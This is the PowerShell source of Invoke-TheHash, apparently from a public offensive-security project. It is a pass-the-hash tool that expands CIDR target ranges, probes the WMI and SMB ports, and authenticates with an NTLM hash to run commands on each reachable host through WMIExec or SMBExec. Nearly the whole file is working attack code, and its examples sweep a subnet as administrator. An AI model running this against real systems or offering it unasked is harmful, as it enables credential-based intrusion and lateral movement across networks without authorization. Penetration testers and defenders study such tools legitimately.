function Invoke-TheHash { <# .SYNOPSIS Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is primarily for checking a hash against multiple systems. The function can also be used to execute commands on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools from within that session. .PARAMETER Type Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. .PARAMETER Targets List of hostnames, IP addresses, or CIDR notation for targets. .PARAMETER TargetsExclude List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format (hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added to Targets within a CIDR notation, it must be excluded as an IP address. .PARAMETER PortCheckDisable (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection. .PARAMETER PortCheckTimeout Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check. .PARAMETER Username Username to use for authentication. .PARAMETER Domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. .PARAMETER Hash NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. .PARAMETER Command Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target. .PARAMETER CommandCOMSPEC Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command. .PARAMETER Service Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target. .PARAMETER SMB1 (Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. .PARAMETER Sleep Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. .EXAMPLE Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .EXAMPLE $target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 $target_list = ConvertTo-TargetList $target_output Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> [CmdletBinding()] param ( [parameter(Mandatory=$true)][Array]$Targets, [parameter(Mandatory=$false)][Array]$TargetsExclude, [parameter(Mandatory=$true)][String]$Username, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$Service, [parameter(Mandatory=$false)][String]$Command, [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", [parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type, [parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100, [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][Switch]$PortCheckDisable, [parameter(Mandatory=$false)][Int]$Sleep, [parameter(Mandatory=$false)][Switch]$SMB1 ) $target_list = New-Object System.Collections.ArrayList $target_list_singles = New-Object System.Collections.ArrayList $target_list_subnets = New-Object System.Collections.ArrayList if($Type -eq 'WMIExec') { $Sleep = 10 } else { $Sleep = 150 } # subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan foreach($target in $Targets) { if($target.contains("/")) { $target_split = $target.split("/")[0] [uint32]$subnet_mask_split = $target.split("/")[1] $target_address = [System.Net.IPAddress]::Parse($target_split) if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8) { throw "Subnet mask is not valid" } $target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split)) $target_start_address = $target_address.GetAddressBytes() [array]::Reverse($target_start_address) $target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0) [uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split))) $target_start_address = $target_start_address -band $target_subnet_mask_start $target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3] [array]::Reverse($target_start_address) $target_address = [System.Net.IPAddress] [byte[]] $target_start_address $target_list_subnets.Add($target_address.IPAddressToString) > $null for ($i=0; $i -lt $target_count-1; $i++) { $target_next = $target_address.GetAddressBytes() [array]::Reverse($target_next) $target_next = [System.BitConverter]::ToUInt32($target_next,0) $target_next ++ $target_next = [System.BitConverter]::GetBytes($target_next)[0..3] [array]::Reverse($target_next) $target_address = [System.Net.IPAddress] [byte[]] $target_next $target_list_subnets.Add($target_address.IPAddressToString) > $null } $target_list_subnets.RemoveAt(0) $target_list_subnets.RemoveAt($target_list_subnets.Count - 1) } else { $target_list_singles.Add($target) > $null } } $target_list.AddRange($target_list_singles) $target_list.AddRange($target_list_subnets) foreach($target in $TargetsExclude) { $target_list.Remove("$Target") } foreach($target in $target_list) { if($type -eq 'WMIExec') { if(!$PortCheckDisable) { $WMI_port_test = New-Object System.Net.Sockets.TCPClient $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null) $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) $WMI_port_test.Close() } if($WMI_port_test_success -or $PortCheckDisable) { Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep } } elseif($Type -eq 'SMBExec') { if(!$PortCheckDisable) { $SMB_port_test = New-Object System.Net.Sockets.TCPClient $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null) $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) $SMB_port_test.Close() } if($SMB_port_test_success -or $PortCheckDisable) { Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep } } } } function ConvertTo-TargetList { <# .SYNOPSIS ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash through the Targets parameter. .PARAMETER $OutputArray The output array returned by Invoke-TheHash. .EXAMPLE $target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 $target_list = ConvertTo-TargetList $target_output Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> [CmdletBinding()] param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output) $target_list = New-Object System.Collections.ArrayList foreach($target in $ITHOutput) { if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *") { $target_index = $target.IndexOf(" on ") $target_index += 4 $target = $target.SubString($target_index,($target.Length - $target_index)) $target_list.Add($target) > $null } } return $target_list }